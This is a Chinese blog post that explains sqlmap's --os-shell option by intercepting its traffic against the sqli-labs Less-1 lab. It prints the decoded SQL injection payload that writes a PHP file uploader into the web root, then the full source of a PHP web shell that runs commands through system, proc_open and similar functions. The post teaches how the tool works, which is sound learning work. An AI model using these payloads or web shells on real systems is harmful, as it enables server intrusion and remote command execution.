• sqlmap --os-shell选项原理解析


    sqlmap --os-shell选项原理解析

    以sqli第一关为例。

    --os-shell 是 SQLMap 工具的一个参数,用于在成功注入数据库后,执行操作系统命令并获取其输出。

    sqlmap -u "http://192.168.188.199/sqli-labs/Less-1/?id=1" --os-shell
    
    • 1

    image-20230930180012165

    选择4,因为整个网站是php代码写的。

    image-20230930180138600

    选择2,自定义位置。这里选择网站的WWW目录下

    image-20230930180253552

    获取shell,执行命令即可。

    image-20230930180315345

    原理解析

    在执行sqlmap命令的时候,将代理设置为本地的8080端口,目的是在bp中抓取sqlmap发送的数据包进行分析。

    sqlmap -u "http://192.168.188.199/sqli-labs/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080
    
    • 1

    在抓到第一个数据包后关闭拦截,后续sqlmap发送的数据包都会在bp的历史记录里都有数据。

    执行完整个–os-shell过程,在bp的HTTP history历史记录中也抓到了全部数据包,下面对数据包进行分析。

    image-20230930182958209

    在id后面所跟的参数是经过URL编码的,所有uTools中的工具进行解密。

    image-20230930183134944

    解码后的语句

    -9725' OR 4844=4844 LIMIT 0,1 INTO OUTFILE 'C:/phpstudy_2016/WWW/tmpuxxig.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c70687073747564795f323031365c5c5757575c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- - 
    
    • 1

    但是发现在LINES TERMINATED BY后面还有一段十六进制数,继续解码获取真实的数据。

    image-20230930183303214

    发现是一段php代码,代码整理如下:

    
    if (isset($_REQUEST["upload"])){
        $dir=$_REQUEST["uploadDir"];
        if (phpversion()<'4.1.0'){
            $file=$HTTP_POST_FILES["file"]["name"];
            @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
        }else{
            $file=$_FILES["file"]["name"];
            @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
        }
        @chmod($dir."/".$file,0755);
        echo "File uploaded";
    }else {
        echo "
    .$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data>sqlmap file uploader

    to directory: "
    ; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    根据上面的mysql语句,是利用into outfile …LINES TERMINATED BY语句写个用于上传文件的tmpuxxig.php

    –os-shell的本质就是写入两个php文件,其中的tmpuxxig.php可以让我们上传文件到网站路径下,如下图。

    image-20230930195811136

    然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbeabi.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。

    image-20230930200304211

    继续查看HTTP history历史记录数据包

    image-20230930194714426

    发现这个数据包是通过POST方法上传了一个tmpbeabi.php

    image-20230930201633174

    文件的内容经过整理后如下:

     
        $c=$_REQUEST["cmd"];
        @set_time_limit(0);
        @ignore_user_abort(1);
        @ini_set("max_execution_time",0);
        $z=@ini_get("disable_functions");
        if(!empty($z)) {
            $z=preg_replace("/[, ]+/",',',$z);
            $z=explode(',',$z);
            $z=array_map("trim",$z);
        } else {
            $z=array();
        }
        $c=$c." 2>&1\n";
        function f($n) {
            global $z;
            return is_callable($n)and!in_array($n,$z);
        }
        if(f("system")) {
            ob_start();
            system($c);
            $w=ob_get_clean();
        } elseif(f("proc_open")) {
            $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
            $w=NULL;
            while(!feof($t[1])) {
                $w.=fread($t[1],512);
            }
            @proc_close($y);
        } elseif(f("shell_exec")) {
            $w=shell_exec($c);
        } elseif(f("passthru")) {
            ob_start();
            passthru($c);
            $w=ob_get_clean();
        } elseif(f("popen")) {
            $x=popen($c,r);
            $w=NULL;
            if(is_resource($x)) {
                while(!feof($x)) {
                    $w.=fread($x,512);
                }
            }
            @pclose($x);
        } elseif(f("exec")) {
            $w=array();
            exec($c,$w);
            $w=join(chr(10),$w).chr(10);
        } else {
            $w=0;
        }
        echo"
    $w
    "
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    这是一个用于命令执行的代码,命令执行后会将执行的结果输出。

    image-20230930200304211

    最后可以在C:\phpstudy_2016\WWW目录下找到生成的两个后门文件。

    image-20230930200111143

    总结

    sqlmap的–os-shell在mysql数据库中的原理,是往服务器上写入了两个php,其中一个提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

    sqlmap --os-shell 的使用需要以下条件:

    1. 知道网站的物理路径。

    2. 网站路径具有写入的权限。

  • 相关阅读:
    3.1 SQL概述
    java实现微信小程序获取手机号(htts接口实现)
    Linux企业应用——kubernates(七)之ingress
    css元素定位:通过元素的标签或者元素的id、class属性定位
    国产数据库四十年磨一剑,达梦数据科创板上市
    【老生谈算法】matlab实现线性分组码编译源码——线性分组码编译
    SpringBoot基于Session实现短信验证码登录
    云原生高级第一次作业
    达梦数据库将DMHR模式下的表(迁移)导出为EXCEL文件
    OPEN数据 | 新库上线 | CnOpenDataA股上市公司社会责任报告数据
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133899577